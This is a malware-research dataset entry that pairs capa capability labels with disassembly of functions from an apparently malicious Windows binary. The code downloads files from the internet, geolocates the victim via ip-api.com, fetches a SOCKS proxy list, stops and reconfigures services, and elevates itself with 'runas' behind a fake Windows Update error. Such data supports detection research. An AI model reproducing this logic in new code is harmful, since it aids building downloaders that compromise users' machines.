joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000eb70
Capabilities:
Encode data using xor
Get common file path
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc00
mov rbx, rcx
lea rcx, [rsp + 0x661]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x660], 0
call fcn.1400033f0
lea rcx, [rsp + 0x242]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], di
call fcn.1400033f0
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call fcn.1400033f0
lea rcx, [rsp + 0x452]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x450], di
call fcn.1400033f0
lea rax, [rsp + 0x240]
lea edx, [rdi + 0x23]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0x240]
lea rdx, str._s_system.temp
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, str.1184
lea rdx, str.6576m_s.dat
lea rcx, [rsp + 0x660]
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x1f
lea rax, [rsp + 0x660]
movdqa xmm1, xmmword [0x14001f310]
mov edx, ecx
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
lea rax, [rax + 0x20]
pxor xmm0, xmm1
movdqu xmmword [rax - 0x20], xmm0
movdqu xmm0, xmmword [rax - 0x10]
pxor xmm0, xmm1
movdqu xmmword [rax - 0x10], xmm0
dec rdx
jne 0x14000ec60
lea rax, [rsp + 0xa40]
nop dword [rax]
xor byte [rax], 0x72
lea rax, [rax + 1]
dec rcx
jne 0x14000ec90
cmp dword [0x140044b24], edi
jne 0x14000ecc1
lea rdx, [rsp + 0xa60]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x140044b24], 1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x660]
mov rcx, rbx
call fcn.14000efa0
test eax, eax
jne 0x14000ed0d
cmp dword [0x140044b24], edi
je 0x14000ecf9
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [0x140044b24], edi
or eax, 0xffffffff
mov rbx, qword [rsp + 0xc10]
add rsp, 0xc00
pop rdi
ret
cmp eax, 1
jne 0x14000ecf9
cmp dword [0x140044b24], edi
je 0x14000ed26
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [0x140044b24], edi
lea r8, [rsp + 0x240]
lea rdx, str._sint.bin
lea rcx, [rsp + 0x450]
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x30]
call fcn.1400162a0
test eax, eax
je 0x14000ecf9
cmp eax, 1
jne 0x14000ecf9
xor eax, eax
mov rbx, qword [rsp + 0xc10]
add rsp, 0xc00
pop rdi
ret
Function at 0x14000ed90
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x490
movaps xmm0, xmmword [str.Mozilla_5.0__Windows_NT_6.3__rv:51.0__Gecko_20100101_Firefox_41.0]
movaps xmm1, xmmword [0x14001e0f0]
xor esi, esi
mov dword [rax + 0x18], esi
mov dword [rax + 0x20], esi
movzx eax, word [0x14001e120]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [0x14001e100]
movaps xmmword [rsp + 0x50], xmm1
mov rbx, rcx
mov rdi, rdx
lea rcx, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movaps xmm1, xmmword [0x14001e110]
movaps xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x80], ax
mov dword [rsp + 0x20], esi
movaps xmmword [rsp + 0x70], xmm1
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x14000ee3b
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000ee43
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
or eax, 0xffffffff
jmp 0x14000ef60
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0xc0000000
lea r8d, [r9 + 3]
mov rcx, rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000ee90
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
or rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x14000ef60
lea rcx, [rsp + 0x91]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x90], sil
call fcn.1400033f0
lea r9, [rsp + 0x4b0]
lea rdx, [rsp + 0x90]
mov r8d, 0x400
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x4b0]
test eax, eax
je 0x14000ef4c
nop word [rax + rax]
lea r9, [rsp + 0x4b8]
lea rdx, [rsp + 0x90]
mov r8d, eax
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000ef75
lea rcx, [rsp + 0x91]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x90], sil
call fcn.1400033f0
lea r9, [rsp + 0x4b0]
lea rdx, [rsp + 0x90]
mov r8d, 0x400
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x4b0]
test eax, eax
jne 0x14000eee0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x14000ef60
Function at 0x14000f210
Capabilities:
Connect socket
Get geographical location
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x830
mov rdi, rdx
mov edx, 1
mov rsi, rcx
mov r14d, 2
lea r8d, [rdx + 5]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x14000f24e
xor eax, eax
jmp 0x14000f3d1
xor eax, eax
mov qword [rsp + 0x850], rbx
xor ebx, ebx
mov qword [rsp + 0x22], rax
mov dword [rsp + 0x2a], eax
mov word [rsp + 0x2e], ax
mov rax, qword [rdi + 0x18]
mov word [rsp + 0x20], bx
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea ecx, [rbx + 0x50]
mov word [rsp + 0x20], r14w
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbx + 0x10]
lea rdx, [rsp + 0x20]
mov rcx, rbp
mov edi, ebx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000f2d6
inc edi
cmp edi, 0xa
jg 0x14000f337
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14000f2b6
cmp byte [str.GET__json_HTTP_1.1_r_nHost:www.ip_api.com_r_n_r_n], bl
lea rdx, str.GET__json_HTTP_1.1_r_nHost:www.ip_api.com_r_n_r_n
mov rax, rdx
je 0x14000f2ef
inc rax
cmp byte [rax], bl
jne 0x14000f2e8
sub eax, edx
xor r9d, r9d
mov rcx, rbp
mov r8d, eax
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14000f337
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x30], bl
call fcn.1400033f0
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov r8d, 0x800
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x14000f33e
xor eax, eax
jmp 0x14000f3c9
lea rdi, str.countryCode_:
lea rcx, [rsp + 0x30]
mov qword [rsi], rbx
mov rdx, rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rbx
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x14000f36b
mov byte [rsi], bl
jmp 0x14000f3ad
mov rcx, rdi
nop
inc rcx
cmp byte [rcx], bl
jne 0x14000f370
sub rcx, rdi
add rax, rcx
movzx ecx, byte [rax]
cmp cl, 0x2c
je 0x14000f3ad
nop word [rax + rax]
mov byte [rbx + rsi], cl
inc rbx
lea rax, [rax + 1]
cmp rbx, 0x20
jg 0x14000f3aa
movzx ecx, byte [rax]
cmp cl, 0x2c
jne 0x14000f390
jmp 0x14000f3ad
mov byte [rsi], 0
lea r8, [rsp + 0x860]
lea rdx, [0x14001e0d8]
mov rcx, rsi
call fcn.140016c90
mov eax, 1
mov rbx, qword [rsp + 0x850]
mov rbp, qword [rsp + 0x858]
add rsp, 0x830
pop r14
pop rdi
pop rsi
ret
Function at 0x14000f3f0
Capabilities:
Connect socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x838
lea rcx, [0x140044d40]
mov rsi, rdx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
jne 0x14000f420
add rsp, 0x838
pop rdi
pop rsi
ret
mov edx, 1
mov qword [rsp + 0x860], rbp
mov qword [rsp + 0x830], r14
mov r14d, 2
lea r8d, [rdx + 5]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x14000f458
xor eax, eax
jmp 0x14000f5d1
xor eax, eax
mov qword [rsp + 0x858], rbx
xor ebx, ebx
mov word [rsp + 0x20], bx
mov qword [rsp + 0x22], rax
mov dword [rsp + 0x2a], eax
mov word [rsp + 0x2e], ax
mov rax, qword [rdi + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea ecx, [rbx + 0x50]
mov word [rsp + 0x20], r14w
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbx + 0x10]
lea rdx, [rsp + 0x20]
mov rcx, rbp
mov edi, ebx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000f4e0
inc edi
cmp edi, 0xa
jg 0x14000f541
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14000f4c0
cmp byte [str.GET__socks_socks.txt_HTTP_1.1_r_nHost:127.0.0.1_r_n_r_n], bl
lea rdx, str.GET__socks_socks.txt_HTTP_1.1_r_nHost:127.0.0.1_r_n_r_n
mov rax, rdx
je 0x14000f4f9
inc rax
cmp byte [rax], bl
jne 0x14000f4f2
sub eax, edx
xor r9d, r9d
mov rcx, rbp
mov r8d, eax
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14000f541
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x30], bl
call fcn.1400033f0
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov r8d, 0x800
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x14000f548
xor eax, eax
jmp 0x14000f5c9
lea rdi, str.socks5
lea rcx, [rsp + 0x30]
mov qword [rsi], rbx
mov rdx, rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rbx
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x14000f575
mov byte [rsi], bl
jmp 0x14000f5ad
mov rcx, rdi
inc rcx
cmp byte [rcx], bl
jne 0x14000f578
sub rcx, rdi
add rax, rcx
movzx ecx, byte [rax]
cmp cl, 0x3b
je 0x14000f5ad
nop dword [rax]
mov byte [rbx + rsi], cl
inc rbx
lea rax, [rax + 1]
cmp rbx, 0x20
jg 0x14000f5aa
movzx ecx, byte [rax]
cmp cl, 0x3b
jne 0x14000f590
jmp 0x14000f5ad
mov byte [rsi], 0
lea r8, [rsp + 0x850]
lea rdx, [0x14001e0c0]
mov rcx, rsi
call fcn.140016c90
mov eax, 1
mov rbx, qword [rsp + 0x858]
mov rbp, qword [rsp + 0x860]
mov r14, qword [rsp + 0x830]
add rsp, 0x838
pop rdi
pop rsi
ret
Function at 0x140010270
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rdi
mov eax, 0x2040
call fcn.140007d80
sub rsp, rax
mov rbx, rcx
lea r8d, [rax - 0x42]
lea rcx, [rsp + 0x42]
xor esi, esi
xor edx, edx
mov word [rsp + 0x40], si
call fcn.1400033f0
mov qword [rsp + 0x30], rsi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14001031d
mov qword [rsp + 0x30], rsi
lea rcx, [0x140046860]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140010330
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140010399
lea r9, [rsp + 0x2060]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140010378
mov r8d, dword [rsp + 0x2060]
lea r9, [rsp + 0x2058]
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x2060], 0x1000
je 0x140010330
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea r11, [rsp + 0x2040]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400124e0
Capabilities:
Get common file path
Set file attributes

Disassembly:
push rbx
sub rsp, 0x460
lea rcx, [rsp + 0x42]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x40], bx
call fcn.1400033f0
lea rcx, [rsp + 0x252]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x250], bx
call fcn.1400033f0
lea rax, [rsp + 0x250]
lea edx, [rbx + 0x1a]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r9, [0x1400237b8]
lea r8, [rsp + 0x250]
lea rdx, str._s_s
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400125c2
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
lea ecx, [rbx + 0x65]
call fcn.1400150b0
lea edx, [rbx + 2]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
add rsp, 0x460
pop rbx
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x460
pop rbx
ret

Function at 0x1400125e0
Capabilities:
Get common file path
Set file attributes

Disassembly:
push rbx
sub rsp, 0x460
lea rcx, [rsp + 0x42]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x40], bx
call fcn.1400033f0
lea rcx, [rsp + 0x252]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x250], bx
call fcn.1400033f0
lea rax, [rsp + 0x250]
lea edx, [rbx + 0x23]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0x250]
lea rdx, str._sint.bin
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400126bd
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov ecx, 0x136
call fcn.1400150b0
lea edx, [rbx + 2]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
add rsp, 0x460
pop rbx
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x460
pop rbx
ret
Function at 0x1400128a0
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, rdi
mov ebx, eax
call fcn.140012a70
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [0x140044bc8], rax
test rax, rax
je 0x140012904
mov r8d, 0x2c
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [0x140044bc0], rax
test rax, rax
jne 0x140012911
mov rcx, qword [0x140044bc8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
lea rcx, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
mov qword [rsp + 0x20], rcx
mov rcx, rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140012a3f
mov eax, dword [rsp + 0x34]
cmp eax, 1
je 0x140012a3f
cmp eax, 3
jne 0x1400129c9
mov edi, 0x2710
mov eax, 0xcccccccd
mul dword [rsp + 0x48]
shr edx, 3
cmp edx, 0x3e8
jae 0x14001296b
mov edx, 0x3e8
jmp 0x140012970
cmp edx, edi
cmova edx, edi
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140044bc0]
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140012a3f
cmp dword [rsp + 0x34], 1
je 0x140012a3f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x7530
ja 0x140012a3f
cmp dword [rsp + 0x34], 3
je 0x140012950
mov rcx, qword [0x140044bc0]
lea r8, [rsp + 0x30]
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140012a3f
cmp dword [rsp + 0x34], 1
je 0x140012a3f
nop dword [rax + rax]
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140044bc0]
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140012a3f
cmp dword [rsp + 0x34], 1
je 0x140012a3f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x7530
ja 0x140012a3f
cmp dword [rsp + 0x34], 1
jne 0x1400129f0
mov rcx, qword [0x140044bc0]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [0x140044bc8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x70]
mov eax, 1
add rsp, 0x60
pop rdi
ret
Function at 0x140012a70
Capabilities:
Modify service

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [0x140044bc8], rax
test rax, rax
je 0x140012ac0
mov r8d, 2
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [0x140044bc0], rax
test rax, rax
jne 0x140012acc
mov rcx, qword [0x140044bc8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add rsp, 0x60
pop rbx
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
xor r9d, r9d
or edx, 0xffffffff
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
lea r8d, [rcx + 4]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x140012ac0
mov rcx, qword [0x140044bc0]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [0x140044bc8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
add rsp, 0x60
pop rbx
ret

Function at 0x140013170
Capabilities:
Enumerate disk properties

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
sub rsp, 0xc60
mov rsi, r8
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x3fe
mov word [rsp + 0x60], bx
call fcn.1400033f0
lea rcx, [rsp + 0x462]
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x460], bx
call fcn.1400033f0
lea r9d, [rbx + 2]
lea rcx, [0x140018730]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SETUPAPI.dll_SetupDiGetClassDevsW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400132e9
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x40], 0x20
call qword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInfo]
test eax, eax
je 0x1400132e9
lea rax, [rsp + 0xc88]
lea r9, [rsp + 0xc80]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov r8d, 1
mov rcx, rdi
mov dword [rsp + 0x28], 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyW]
test eax, eax
je 0x1400132c7
lea rcx, [rsp + 0x60]
mov rdx, rsi
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
lea rdx, [0x14001d9b4]
lea rcx, [rsp + 0x460]
mov r8, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rsi
call fcn.140016e90
mov r9, rsi
lea r8, [rsp + 0x460]
mov r10, rax
test rax, rax
je 0x1400132f6
nop dword [rax]
nop dword [rax + rax]
movzx ecx, word [r8]
lea r8, [r8 + 2]
lea edx, [rcx - 0x41]
cmp edx, 0x19
ja 0x1400132a3
add ecx, 0x20
movzx edx, word [r9]
add r9, 2
lea eax, [rdx - 0x41]
cmp eax, 0x19
ja 0x1400132b6
add edx, 0x20
dec r10
je 0x1400132c3
test ecx, ecx
je 0x1400132c3
cmp ecx, edx
je 0x140013290
sub ecx, edx
je 0x1400132f6
inc ebx
lea r8, [rsp + 0x40]
mov rcx, rdi
mov edx, ebx
mov dword [rsp + 0x40], 0x20
call qword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInfo]
test eax, eax
jne 0x140013200
xor eax, eax
add rsp, 0xc60
pop rdi
pop rsi
pop rbx
ret
mov ecx, 0x800
nop dword [rax + rax]
dec rcx
mov byte [rsp + rcx + 0x460], 0
jne 0x140013300
mov eax, 1
add rsp, 0xc60
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400135e0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x2a8
call fcn.140013700
cmp eax, 0x1000
jne 0x1400136e6
mov qword [rsp + 0x2b0], rbx
lea rcx, [rsp + 0x92]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x90], bx
call fcn.1400033f0
lea rdx, [rsp + 0x90]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400136de
mov qword [rsp + 0x2a0], rdi
lea rdi, str.runas
nop dword [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x24]
mov dword [rsp + 0x20], WSACleanup
lea r8d, [rdx + 0x6c]
call fcn.1400033f0
lea rax, [rsp + 0x90]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x50], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1400136d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.Microsoft_Internet_Explorer
lea rdx, str.Windows_Update_Cannot_Check_For_Updates_nError_message_when_you_try_to_install_updates
mov r9d, gethostbyname
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rsp + 0x90]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140013650
mov rdi, qword [rsp + 0x2a0]
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x2a8
ret

Function at 0x140013820
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0xc30
lea rcx, [rsp + 0x32]
xor ebx, ebx
xor edx, edx
mov r8d, 0x3fe
mov word [rsp + 0x30], bx
call fcn.1400033f0
lea rcx, [rsp + 0x432]
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x430], bx
call fcn.1400033f0
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x21]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1400138a5
lea r8, [rsp + 0x30]
lea rdx, str._s.txt
lea rcx, [rsp + 0x430]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x430]
call fcn.1400138c0
add rsp, 0xc30
pop rbx
ret